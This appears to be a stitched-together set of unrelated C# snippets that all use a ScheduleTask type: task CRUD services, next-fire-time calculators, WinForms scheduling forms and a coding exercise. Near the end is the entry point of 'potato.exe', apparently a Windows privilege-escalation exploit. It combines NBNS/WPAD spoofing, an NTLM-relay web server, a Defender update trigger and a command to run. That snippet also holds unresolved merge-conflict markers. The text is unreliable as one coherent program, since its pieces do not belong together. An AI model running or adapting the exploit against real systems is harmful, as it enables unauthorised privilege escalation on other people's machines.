public override bool? CalcNextFireTime(ScheduleTask task)
{
//检查今天时间
var date = DateTime.Now;
if (_time < date.TimeOfDay)
date = date.AddDays(1); //从明天之后开始找打钩
//找下一个打钩的天
var nextDayOfWeek = _daysOfWeekly
.Where(p => p >= date.DayOfWeek)
.Select(p => (DayOfWeek?)p)
.FirstOrDefault();
if (nextDayOfWeek.HasValue) // 找到了
{
// 本周
date = date.AddDays(-(int)date.DayOfWeek + (int)nextDayOfWeek);
}
else
{
//找不到则下个星期第一个打钩
nextDayOfWeek = _daysOfWeekly.First();
date = date.AddDays(-(int)date.DayOfWeek + 7 + (int)nextDayOfWeek);
}
task.NextFireTime = new DateTime(date.Year, date.Month, date.Day, _time.Hours, _time.Minutes, _time.Seconds);
return true;
}
/// <summary>
/// Deletes a task
/// </summary>
/// <param name="task">Task</param>
public virtual void DeleteTask(ScheduleTask task)
{
if (task == null)
throw new ArgumentNullException("task");
_taskRepository.Delete(task);
}
public override bool? CalcNextFireTime(ScheduleTask task)
{
//检查今天时间
var date = DateTime.Now;
if (_time < date.TimeOfDay)
date = date.AddDays(1); //从明天之后开始找打钩
//找下一个打钩的天
var nextDay = _daysOfMonthly
.Where(p => p >= date.Day)
.Select(p => (int?)p)
.FirstOrDefault();
if (nextDay.HasValue == false) //找不到则下个月第一个打钩
{
nextDay = _daysOfMonthly.First();
date = date.AddMonths(1);
}
task.NextFireTime = new DateTime(
date.Year, date.Month, nextDay.Value,
_time.Hours, _time.Minutes, _time.Seconds);
return true;
}
public Task(ScheduleTask scheduleTask)
{
Type = scheduleTask.Type;
Enabled = scheduleTask.Enabled;
StopOnError = scheduleTask.StopOnError;
Name = scheduleTask.Name;
}
/// <summary>
/// Ctor for Task
/// </summary>
/// <param name="task">Task </param>
public XTask(ScheduleTask task)
{
this._type = task.Type;
this._enabled = task.Enabled;
this._stopOnError = task.StopOnError;
this._name = task.Name;
}
public void UpdateTask(ScheduleTask task)
{
Guard.NotNull(task, "task");
SetMinimumSqlDateTimeValue(task);
_taskRepository.Update(task);
}
public override bool? CalcNextFireTime(ScheduleTask task)
{
if (_dateTime < DateTime.Now)
return null;
task.NextFireTime = _dateTime;
return false;
}
/// <summary>
/// Inserts a task
/// </summary>
/// <param name="task">Task</param>
public virtual void InsertTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
_taskRepository.Insert(task, false);
}
/// <summary>
/// Inserts a task
/// </summary>
/// <param name="task">Task</param>
public virtual async Task InsertTaskAsync(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
await _taskRepository.InsertAsync(task, false);
}
public void DeleteTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
_taskRepository.Delete(task);
}
/// <summary>
/// Ctor for Task
/// </summary>
/// <param name="task">Task </param>
public Job(ScheduleTask task)
{
this.Type = task.Type;
this.Enabled = task.Enabled;
this.StopOnError = task.StopOnError;
this.Name = task.Name;
this.LastError = task.LastError;
this.IsRunning = task.IsRunning; //task.LastStartUtc.GetValueOrDefault() > task.LastEndUtc.GetValueOrDefault();
}
private async Task <bool> MeetsRecurrenceCriteria(ScheduleTask reminderTask, DateTimeOffset now)
{
var lastRun = await _scheduleTaskRepo.GetLastRunTime(reminderTask.ScheduleTaskId);
var taskHasNeverRan = !lastRun.HasValue;
var hasNotRanWithin_N_Weeks = !taskHasNeverRan && now.Subtract(lastRun.Value).TotalDays > (reminderTask.RecurEveryNWeeks * 7);
return(taskHasNeverRan || hasNotRanWithin_N_Weeks);
}
/// <summary>
/// Updates the task
/// </summary>
/// <param name="task">Task</param>
public virtual void UpdateTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
_taskRepository.Update(task);
}
/// <summary>
/// Updates the task
/// </summary>
/// <param name="task">Task</param>
public virtual async Task UpdateTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
await _taskRepository.UpdateAsync(task);
}
/// <summary>
/// Deletes a task
/// </summary>
/// <param name="task">Task</param>
public virtual void DeleteTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException("task");
}
_taskRepository.Delete(task);
}
/// <summary>
/// Insert the task
/// </summary>
/// <param name="task">Task</param>
public virtual async Task <ScheduleTask> InsertTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException(nameof(task));
}
return(await _taskRepository.InsertAsync(task));
}
/// <summary>
/// Delete the task
/// </summary>
/// <param name="task">Task</param>
public virtual async Task DeleteTask(ScheduleTask task)
{
if (task == null)
{
throw new ArgumentNullException("task");
}
await _taskRepository.DeleteAsync(task);
}
/// <summary>
/// Executes the task
/// </summary>
/// <param name="scheduleTask">Schedule task</param>
/// <param name="forceRun">Force run</param>
/// <param name="throwException">A value indicating whether exception should be thrown if some error happens</param>
/// <param name="ensureRunOncePerPeriod">A value indicating whether we should ensure this task is run once per run period</param>
public async Task ExecuteAsync(ScheduleTask scheduleTask, bool forceRun = false, bool throwException = false, bool ensureRunOncePerPeriod = true)
{
var enabled = forceRun || (scheduleTask?.Enabled ?? false);
if (scheduleTask == null || !enabled)
{
return;
}
if (ensureRunOncePerPeriod)
{
//task already running
if (IsTaskAlreadyRunning(scheduleTask))
{
return;
}
//validation (so nobody else can invoke this method when he wants)
if (scheduleTask.LastStartUtc.HasValue && (DateTime.UtcNow - scheduleTask.LastStartUtc).Value.TotalSeconds < scheduleTask.Seconds)
{
//too early
return;
}
}
try
{
//get expiration time
var expirationInSeconds = Math.Min(scheduleTask.Seconds, 300) - 1;
var expiration = TimeSpan.FromSeconds(expirationInSeconds);
//execute task with lock
_locker.PerformActionWithLock(scheduleTask.Type, expiration, () => ExecuteTask(scheduleTask));
}
catch (Exception exc)
{
var store = await _storeContext.GetCurrentStoreAsync();
var scheduleTaskUrl = $"{store.Url}{NopTaskDefaults.ScheduleTaskPath}";
scheduleTask.Enabled = !scheduleTask.StopOnError;
scheduleTask.LastEndUtc = DateTime.UtcNow;
await _scheduleTaskService.UpdateTaskAsync(scheduleTask);
var message = string.Format(await _localizationService.GetResourceAsync("ScheduleTasks.Error"), scheduleTask.Name,
exc.Message, scheduleTask.Type, store.Name, scheduleTaskUrl);
//log error
await _logger.ErrorAsync(message, exc);
if (throwException)
{
throw;
}
}
}
/// <summary>
/// Delete the specified task from the database.
/// </summary>
private async System.Threading.Tasks.Task RemoveTaskAsync(string name)
{
ScheduleTask task = await _scheduleTaskService.GetTaskByTypeAsync(GetTaskType(name));
if (task != null)
{
await _scheduleTaskService.DeleteTaskAsync(task);
}
return;
}
private async Task <bool> ShouldRun(ScheduleTask reminderTask)
{
var rightNow = DateTimeOffset.Now;
var isAfterStartDate = rightNow.Subtract(reminderTask.StartDate).TotalSeconds > 0;
var isCorrectDayOfWeek = MatchesDay(reminderTask, rightNow);
return(isAfterStartDate &&
isCorrectDayOfWeek &&
(await MeetsRecurrenceCriteria(reminderTask, rightNow)));
}
/// <summary>
/// Gets whether the schedule task is visible or not.
/// </summary>
/// <param name="task">Scheduled task.</param>
/// <returns><c>true</c> task is visible, <c>false</c> task is not visible.</returns>
public static bool IsVisible(this ScheduleTask task)
{
Guard.NotNull(task, nameof(task));
if (task.IsHidden)
{
return(false);
}
return(true);
}
private bool IsTaskInstalled(ScheduleTask task)
{
var type = Type.GetType(task.Type);
if (type != null)
{
return(PluginManager.IsActivePluginAssembly(type.Assembly));
}
return(false);
}
public Scheduler()
{
var workerNumber = 6;
_root = new RootScheduleTask();
_idToTask = new ConcurrentDictionary <long, ScheduleTask>();
_idToTask.TryAdd(0, _root);
_waitingScheduleTask = new AsyncQueue <ScheduleTaskPriority, ScheduleTask>();
_worker = Enumerable.Range(0, workerNumber).Select(i => Task.Run(Work)).ToList();
}
/// <summary>
/// 周期性任务
/// </summary>
/// <param name="task">任务</param>
/// <param name="delay">延迟开始时间（毫秒）</param>
/// <param name="periodic">间隔周期时间（毫秒）</param>
/// <returns></returns>
public PeriodicTaskHandle scheduleExecute(ScheduleTask task, long delay, long periodic)
{
TaskWrapper wrapper = new TaskWrapper(task, delay, periodic);
PeriodicTaskHandle handle = new PeriodicTaskHandleImpl(wrapper, this);
addTask(wrapper);
return(handle);
}
/// <summary>
/// Initializes a new instance of the <see cref="TaskViewModel"/> class.
/// </summary>
/// <param name="fileProvider">File provider.</param>
/// <param name="fileDialog">File dialog.</param>
/// <param name="scheduleTask">Processed task.</param>
public TaskViewModel(IFileProvider fileProvider, IFileDialog fileDialog, ScheduleTask scheduleTask)
{
fileProvider.ThrowIfNull(nameof(fileProvider));
fileDialog.ThrowIfNull(nameof(fileDialog));
_fileProvider = fileProvider;
_fileDialog = fileDialog;
DisplayName = "Add scheduling task";
_scheduleTask = scheduleTask ?? new ScheduleTask();
}
public void UninstallTask()
{
ScheduleTask scheduleTask = GetScheduleTask();
if (scheduleTask.Id > 0)
{
_scheduleTaskService.DeleteTask(scheduleTask);
RestartAllTasks();
}
}
//加载初始值
private void Schedule_Load(object sender, EventArgs e)
{
this.Text = Model_Data.Language.ScheduleStr.scheduleManager; //日程管理
btnAdd.Text = Model_Data.Language.ScheduleStr.addScheduleTask; //添加任务
btnDelete.Text = Model_Data.Language.ScheduleStr.deleteScheduleTask; //删除任务
SolarSchedule.ScheduleManager manager = SolarSchedule.ScheduleManager.getInstance();
//===================dataGridView======================//
if (pk.Rows.Count == 0)
{
pk.Columns.Add(Model_Data.Language.ScheduleStr.Event);
pk.Columns.Add(Model_Data.Language.ScheduleStr.ExecutionTime);
pk.Columns.Add(Model_Data.Language.ScheduleStr.frequency);
pk.Columns.Add(Model_Data.Language.ScheduleStr.Result);
pk.Columns.Add(Model_Data.Language.ScheduleStr.Lastexecution);
pk.Columns.Add("obj", typeof(ScheduleTask));
//col.ColumnMapping = MappingType.Hidden;
}
for (int i = 0; i < manager._tasks.Count; i++)
{
DataRow dr = pk.NewRow();
dr[Model_Data.Language.ScheduleStr.Event] = ScheduleTask.transTask(manager._tasks[i].tag);
dr[Model_Data.Language.ScheduleStr.ExecutionTime] = manager._tasks[i].time.ToString("yyyy-MM-dd HH:mm:ss");
dr[Model_Data.Language.ScheduleStr.frequency] = ScheduleTask.transFreq(manager._tasks[i].frequence);
dr[Model_Data.Language.ScheduleStr.Result] = ScheduleTask.transResult(manager._tasks[i].result);
dr[Model_Data.Language.ScheduleStr.Lastexecution] = ScheduleTask.transPreResult(manager._tasks[i].preExecuteTime);
dr["obj"] = manager._tasks[i];
pk.Rows.Add(dr);
}
//数据不够5行，添加空白行
int count = pk.Rows.Count;
for (int i = 6 - count; i >= 0; i--)
{
dr = pk.NewRow();
pk.Rows.Add(dr);
}
dataGridView1.DataSource = pk;
this.dataGridView1.Columns[1].FillWeight = 130;//设置列宽
this.dataGridView1.Columns[4].FillWeight = 130;
dataGridView1.Columns[5].Visible = false;
//取消列排序
for (int i = 0; i < this.dataGridView1.Columns.Count; i++)
{
this.dataGridView1.Columns[i].SortMode = DataGridViewColumnSortMode.NotSortable;
}
//定义行列头显示
dataGridView1.ColumnHeadersDefaultCellStyle.BackColor = System.Drawing.Color.CornflowerBlue; //列颜?色?
dataGridView1.RowHeadersDefaultCellStyle.BackColor = System.Drawing.Color.CornflowerBlue; //行头颜色
}
private async Task From470To480()
{
#region Install String resources
await InstallStringResources("EN_470_480.nopres.xml");
#endregion
#region Update customer settings
var _settingService = _serviceProvider.GetRequiredService <ISettingService>();
var customerSettings = _serviceProvider.GetRequiredService <CustomerSettings>();
customerSettings.HideSubAccountsTab = true;
await _settingService.SaveSetting(customerSettings);
#endregion
#region Update permissions - Actions
IPermissionProvider provider = new StandardPermissionProvider();
//install new permissions
await _mediator.Send(new InstallNewPermissionsCommand()
{
PermissionProvider = provider
});
var permissions = provider.GetPermissions();
var permissionService = _serviceProvider.GetRequiredService <IPermissionService>();
foreach (var permission in permissions)
{
var p = await permissionService.GetPermissionRecordBySystemName(permission.SystemName);
if (p != null)
{
p.Actions = permission.Actions;
await permissionService.UpdatePermissionRecord(p);
}
}
#endregion
#region Update cancel order Scheduled Task
var tasks = _serviceProvider.GetRequiredService <IRepository <ScheduleTask> >();
var cancelOrderTask = new ScheduleTask {
ScheduleTaskName = "Cancel unpaid and pending orders",
Type = "Grand.Services.Tasks.CancelOrderScheduledTask, Grand.Services",
Enabled = false,
StopOnError = false,
TimeInterval = 1440
};
await tasks.InsertAsync(cancelOrderTask);
#endregion
}
public void Add(ScheduleTask task, int periodic)
{
lock (this.Mutex)
{
this.TaskList.Add(new MyTaskContext
{
Periodic = (long)periodic,
Task = task
});
}
}
public static void ProccessScheduling()
{
int tasksCount = int.Parse(Console.ReadLine()?.Split(':', StringSplitOptions.RemoveEmptyEntries).ToArray()[1]);
var tasks = new List <ScheduleTask>();
var chosenTasks = new List <ScheduleTask>();
var indexes = new List <int>();
for (int i = 0; i < tasksCount; i++)
{
var tokens = Console.ReadLine()?.Split('-', StringSplitOptions.RemoveEmptyEntries).Select(int.Parse).ToArray();
var task = new ScheduleTask
{
// ReSharper disable once PossibleNullReferenceException
Value = tokens[0],
Step = tokens[1]
};
tasks.Add(task);
}
var maxSteps = tasks.Select(x => x.Step).Max();
var minStep = tasks.Select(x => x.Step).Min();
while (minStep <= maxSteps)
{
var nextStep = minStep + 1;
var currentTask = tasks.Where(x => x.Step == minStep && chosenTasks.All(z => z != x))
.OrderByDescending(x => x.Value).FirstOrDefault()
?? tasks.Where(x =>
x.Step == nextStep && chosenTasks.All(z => z != x))
.OrderByDescending(x => x.Value).FirstOrDefault();
var nextBestTask = minStep + 1 <= maxSteps
? tasks.Where(x => x.Step == minStep + 1).OrderByDescending(x => x.Value).First()
: null;
if (nextBestTask?.Value > currentTask?.Value)
{
var changeTask = currentTask.Value + nextBestTask.Value <
nextBestTask.Value + tasks.Where(x => x.Step > minStep && x != nextBestTask).OrderByDescending(x => x.Value).First().Value
? nextBestTask
: currentTask;
currentTask = changeTask;
}
var index = tasks.IndexOf(currentTask) + 1;
chosenTasks.Add(currentTask);
indexes.Add(index);
minStep++;
}
Console.WriteLine(string.Join("->", indexes));
Console.WriteLine($"Total value:{chosenTasks.Sum(x => x.Value)}");
}
public override bool? CalcNextFireTime(ScheduleTask task)
{
//今天指定时间
task.NextFireTime = DateTime.Now.Date.Add(_time);
//如果已经过了时间, 则安排到明天
if (DateTime.Now.TimeOfDay > _time)
task.NextFireTime = task.NextFireTime.AddDays(1);
return true;
}
public static void Delete(ScheduleTask objItem)
{
if (objItem != null)
{
using (var client = WebApiHelper.myclient(HouseEndpoint, SystemConst.APIJosonReturnValue))
{
HttpResponseMessage response = client.DeleteAsync(string.Format(Resource + "?id={0}&CompanyID={1}", objItem.Id, objItem.CompanyID)).GetAwaiter().GetResult();
}
RemoveCache(objItem);
}
}
/// <summary>
/// Creates and prepares a schedule task view model.
/// </summary>
/// <param name="task">Schedule task.</param>
/// <param name="lastEntry">Last task history entry.</param>
/// <returns>Schedule task model.</returns>
public ScheduleTaskModel CreateScheduleTaskModel(ScheduleTask task, ScheduleTaskHistory lastEntry)
{
if (task == null)
{
return(null);
}
var now = DateTime.UtcNow;
var nextRunPretty = string.Empty;
var isOverdue = false;
TimeSpan?dueIn = task.NextRunUtc.HasValue
? task.NextRunUtc.Value - now
: (TimeSpan?)null;
if (dueIn.HasValue)
{
if (dueIn.Value.TotalSeconds > 0)
{
nextRunPretty = dueIn.Value.Prettify();
}
else
{
nextRunPretty = T("Common.Waiting") + "...";
isOverdue = true;
}
}
var model = new ScheduleTaskModel
{
Id = task.Id,
Name = task.Name,
CronExpression = task.CronExpression,
CronDescription = CronExpression.GetFriendlyDescription(task.CronExpression),
Enabled = task.Enabled,
Priority = task.Priority,
RunPerMachine = task.RunPerMachine,
StopOnError = task.StopOnError,
NextRunPretty = nextRunPretty,
CancelUrl = _urlHelper.Action("CancelJob", "ScheduleTask", new { id = task.Id }),
ExecuteUrl = _urlHelper.Action("RunJob", "ScheduleTask", new { id = task.Id }),
EditUrl = _urlHelper.Action("Edit", "ScheduleTask", new { id = task.Id }),
IsOverdue = isOverdue
};
if (task.NextRunUtc.HasValue)
{
model.NextRun = _dateTimeHelper.ConvertToUserTime(task.NextRunUtc.Value, DateTimeKind.Utc);
}
model.LastHistoryEntry = CreateScheduleTaskHistoryModel(lastEntry);
return(model);
}
//添加任务
private void AddOK_Click(object sender, EventArgs e)
{
ScheduleFrequence frequence = 0;
ScheduleOffGrid schoffGrid = ScheduleOffGrid.On;
RadioButton[] freqs = { radBtnOneDay, radBtnEveDay, radWeekly }; //频率
RadioButton[] Events = { radStartInverter, radCloseInverter, radioVoltage }; //事件
foreach (RadioButton freq in freqs)
{
if (freq.Checked == true)
{
switch (Convert.ToInt16(freq.Tag))
{
case 0: frequence = ScheduleFrequence.Single; break;
case 1: frequence = ScheduleFrequence.EveryDay; break;
case 2: frequence = ScheduleFrequence.EveryWeek; break;
}
}
}
foreach (RadioButton Event in Events)
{
if (Event.Checked == true)
{
schoffGrid = (ScheduleOffGrid)Convert.ToInt16(Event.Tag);
break;
}
}
//创建一个任务
ScheduleTask schTask = new ScheduleTask(Convert.ToDateTime(dateTimePicker1.Text), frequence);
schTask.tag = (int)schoffGrid;
schTask.handle += new TaskHandle(new OffGridTask(schoffGrid).handle);
SolarSchedule.ScheduleManager.getInstance().addTask(schTask);
//schedule.listBox1.Items.Add(schTask);
for (int i = 0; i < schedule.dataGridView1.Rows.Count; i++)
{
if (schedule.dataGridView1.Rows[i].Cells[0].Value.ToString() == null || schedule.dataGridView1.Rows[i].Cells[0].Value.ToString() == "")
{
schedule.dataGridView1.Rows[i].Cells[0].Value = ScheduleTask.transTask(schTask.tag);
schedule.dataGridView1.Rows[i].Cells[1].Value = schTask.time.ToString("yyyy-MM-dd HH:mm:ss dddd");
schedule.dataGridView1.Rows[i].Cells[2].Value = ScheduleTask.transFreq(schTask.frequence);
schedule.dataGridView1.Rows[i].Cells[3].Value = ScheduleTask.transResult(schTask.result);
schedule.dataGridView1.Rows[i].Cells[4].Value = ScheduleTask.transPreResult(schTask.preExecuteTime);
schedule.dataGridView1.Rows[i].Cells[5].Value = schTask;
break;
}
}
this.Close();
}
public override void Uninstall()
{
ScheduleTask task = _scheduleTaskService.GetTaskByType("Nop.Plugin.ExternalProcessing.BDOBalance.SyncTask, Nop.Plugin.ExternalProcessing.BDOBalance");
if (task != null)
{
_scheduleTaskService.DeleteTask(task);
}
_settingService.DeleteSetting <BDOBalanceSettings>();
base.Uninstall();
}
internal static void Init()
{
if (isInited is false)
{
isInited = true;
try
{
Assembly.LoadFrom("Markdig.dll");
}
catch (Exception)
{
Trace.WriteLine("Cannot load Markdig.dll, MDBlog may be unable to work correctly.");
}
bool Found = false;
//Determine if Markdig is loaded.
foreach (var item in AppDomain.CurrentDomain.GetAssemblies())
{
try
{
foreach (var t in item.GetTypes())
{
if (t.Namespace is not null)
{
if (
t.Namespace.StartsWith("Markdig"))
{
isMarkdownUnavailable = false;
Found = true;
break;
}
}
}
}
catch (Exception)
{
}
if (Found == true)
{
break;
}
}
if (isMarkdownUnavailable == true)
{
Trace.WriteLine("Markdig is unavailable, MDBlog may be unable to work correctly.");
}
CheckArticleTemplate();
CheckHomepageItemTamplate();
CheckHomepageTamplate();
CheckArticleFolder();
ScheduleTask.Schedule(typeof(SharedResources), "MarkdownBlog.FixedTimeUpdate", ScheduleTaskGap.Sec10);
}
}
public async System.Threading.Tasks.Task ExecuteCronTaskAsync(ScheduleTask scheduleTask)
{
try
{
var type = Type.GetType(scheduleTask.Type) ??
//ensure that it works fine when only the type name is specified (do not require fully qualified names)
AppDomain.CurrentDomain.GetAssemblies()
.Select(a => a.GetType(scheduleTask.Type))
.FirstOrDefault(t => t != null);
if (type == null)
{
await _logger.ErrorAsync($"Type for schedule task ({scheduleTask.Type}) cannot be found");
return;
}
object instance = null;
try
{
instance = EngineContext.Current.Resolve(type);
}
catch
{
//try resolve
}
if (instance == null)
{
//not resolved
instance = EngineContext.Current.ResolveUnregistered(type);
}
if (!(instance is IScheduleTask task))
{
return;
}
scheduleTask.LastStartUtc = DateTime.UtcNow;
await _scheduleTaskService.UpdateTaskAsync(scheduleTask);
await task.ExecuteAsync();
scheduleTask.LastEndUtc = scheduleTask.LastSuccessUtc = DateTime.UtcNow;
await _scheduleTaskService.UpdateTaskAsync(scheduleTask);
}
catch (Exception ex)
{
scheduleTask.LastEndUtc = DateTime.UtcNow;
await _scheduleTaskService.UpdateTaskAsync(scheduleTask);
await _logger.ErrorAsync($"Error trying to execute a CRON task \"{scheduleTask.Name}\". {ex.Message}", ex);
}
}
private async System.Threading.Tasks.Task AddTaskAsync()
{
ScheduleTask task = new ScheduleTask();
task.Name = $"Update Mattresses";
task.Seconds = 14400;
task.Type = TaskType;
task.Enabled = false;
task.StopOnError = false;
await _scheduleTaskService.InsertTaskAsync(task);
}
private static void SetMinimumSqlDateTimeValue(ScheduleTask task)
{
var minDateTime = DateTime.Parse("1753-01-01");
if (task.LastEndUtc == DateTime.MinValue)
task.LastEndUtc = minDateTime;
if (task.LastStartUtc == DateTime.MinValue)
task.LastEndUtc = minDateTime;
if (task.LastSuccessUtc == DateTime.MinValue)
task.LastSuccessUtc = minDateTime;
}
public ScheduleTask RegisterTask(Action task, TaskMoment moment, bool repeat = true)
{
var momentInfo = moment.GetInfo();
var scheduleTask = new ScheduleTask()
{
LastExecuted = momentInfo.Item1,
Action = task,
Frequency = momentInfo.Item2,
Repeat = repeat
};
AddScheduleTask(scheduleTask);
return scheduleTask;
}
static int Main(string[] args)
{
Dictionary<string, string> argDict = parseArgs(args);
String cmd = "\"C:\\Windows\\System32\\cmd.exe\" /K start";
String ip = null, disable_exhaust = null, disable_spoof = null, disable_defender = null,schedule_task = null,spoof_host = "WPAD";
String wpad_exclude_str="live.sysinternals.com";
int srvPort = 80;
if (argDict.ContainsKey("ip")) ip = argDict["ip"];
if (argDict.ContainsKey("cmd")) cmd = argDict["cmd"];
if (argDict.ContainsKey("disable_exhaust")) disable_exhaust = argDict["disable_exhaust"];
if (argDict.ContainsKey("disable_defender")) disable_defender = argDict["disable_defender"];
if (argDict.ContainsKey("disable_spoof")) disable_spoof = argDict["disable_spoof"];
if (argDict.ContainsKey("spoof_host")) spoof_host = argDict["spoof_host"];
if (argDict.ContainsKey("wpad_exclude")) wpad_exclude_str = argDict["wpad_exclude"];
if (argDict.ContainsKey("schedule_task")) schedule_task = argDict["schedule_task"];
if (argDict.ContainsKey("srv_port")) srvPort = Int32.Parse(argDict["srv_port"]);
if (ip == null)
{
Console.WriteLine("Usage: potato.exe -ip <ip address, required> -cmd <command, optional> -disable_exhaust <true/false, optional> -disable_defender <true/false, optional> -disable_spoof <true/false, optional> -spoof_host <default wpad, optional> -wpad_exclude <comma separated host to exclude, optional> -schedule_task <true/false, Win10 only, optional> -srv_port <port for webserver to listen, default 80>");
return 0;
}
bool disableExhaust = false;
if (disable_exhaust != null && disable_exhaust.Equals("true"))
{
disableExhaust = true;
}
Spoofer spoof;
spoof = new NBNSSpoofer();
HTTPNtlmHandler httpServer = new HTTPNtlmHandler();
String[] wpad_exclude = wpad_exclude_str.Split(',');
Thread httpServerThread = new Thread(() => httpServer.startListening(cmd,wpad_exclude,srvPort));
httpServerThread.Start();
Thread spoofThread = new Thread(() => spoof.startSpoofing(ip, spoof_host, disableExhaust));
if (disable_spoof == null || disable_spoof.Equals("false"))
{
spoofThread.Start();
if (!disableExhaust)
{
while (NBNSSpoofer.doneUdp == false)
{
Thread.Sleep(2000);
}
}
spoof.checkSpoof(spoof_host);
Console.WriteLine("Spoofed target " + spoof_host + " succesfully...");
}
UpdateLauncher updateL = new UpdateLauncher();
Thread updateLThread = new Thread(() => updateL.launchUpdateCheck());
if (disable_defender == null || disable_defender.Equals("false"))
{
updateLThread.Start();
}
ScheduleTask sc = new ScheduleTask();
<<<<<<< HEAD
Thread schTask = new Thread(() => sc.schtask(srvPort));
if (schedule_task != null && schedule_task.Equals("true"))
{
schTask.Start(srvPort);
=======
Thread schTask = new Thread(() => sc.schtask());
if (schedule_task != null && schedule_task.Equals("true"))
{
schTask.Start();
>>>>>>> a80fdfbf7cbef7ae601d584bf185afc7c211099c
}
httpServer.finished.WaitOne();
spoofThread.Abort();
updateLThread.Abort();
httpServerThread.Abort();
return 0;
}
}
public override bool? CalcNextFireTime(ScheduleTask task)
{
task.NextFireTime = DateTime.Now.Add(_delay);
return true;
}
/// <summary>
/// Inserts a task
/// </summary>
/// <param name="task">Task</param>
public virtual void InsertTask(ScheduleTask task)
{
if (task == null)
throw new ArgumentNullException("task");
task.CreationDate = DateTime.Now;
task.ModifiedDate = DateTime.Now;
_taskRepository.Insert(task);
}
public void InsertTask(ScheduleTask scheduleTask)
{
Guard.NotNull(scheduleTask, "scheduleTask");
_taskRepository.Insert(scheduleTask);
_eventPublisher.EntityInserted(scheduleTask);
}
internal TaskThread(ScheduleTask scheduleTask)
{
this._tasks = new Dictionary<string, XTask>();
this._seconds = scheduleTask.Seconds;
this._isRunning = false;
}
public ScheduleTask RegisterTask(Action task, TimeSpan frequency, bool repeat = true)
{
var scheduleTask = new ScheduleTask
{
LastExecuted = DateTime.Now,
Action = task,
Frequency = frequency,
Repeat = repeat
};
AddScheduleTask(scheduleTask);
return scheduleTask;
}
private void AddScheduleTask(ScheduleTask task)
{
var list = doingTasks ? _waiting : _tasks;
list.Add(task);
}
